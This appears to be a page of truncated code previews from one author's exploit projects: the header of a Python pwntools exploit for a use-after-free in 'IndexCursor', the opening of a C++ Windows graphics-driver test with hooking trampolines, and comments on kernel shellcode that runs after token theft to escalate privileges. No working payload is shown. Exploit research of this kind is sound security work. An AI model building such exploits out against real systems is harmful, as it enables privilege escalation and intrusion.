wmliang

#!/usr/bin/env python
#-*- coding: utf-8 -*-

from pwn import *
import re
import sys
import string
import itertools

# UAF in IndexCursor

wmliang

// TestGraphicDrv.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
#include <d3dkmthk.h>
#include <d3d11.h>

#if defined _M_X64
#define TRAMPOLINE_BYTES 12
#elif defined _M_IX86

wmliang

[BITS 32]

; This shellcode is meant to be executed in the kernel just after the token has
; been stolen. It walks up the stack looking for the first frame which returns
; to userland and returns into the one just before it. This is presumably
; nt!KiSystemServicePostCall which will clean up the operation before returning
; to userland.

; This shell code clobbers ecx, ebx and sets eax to 0 for the return value.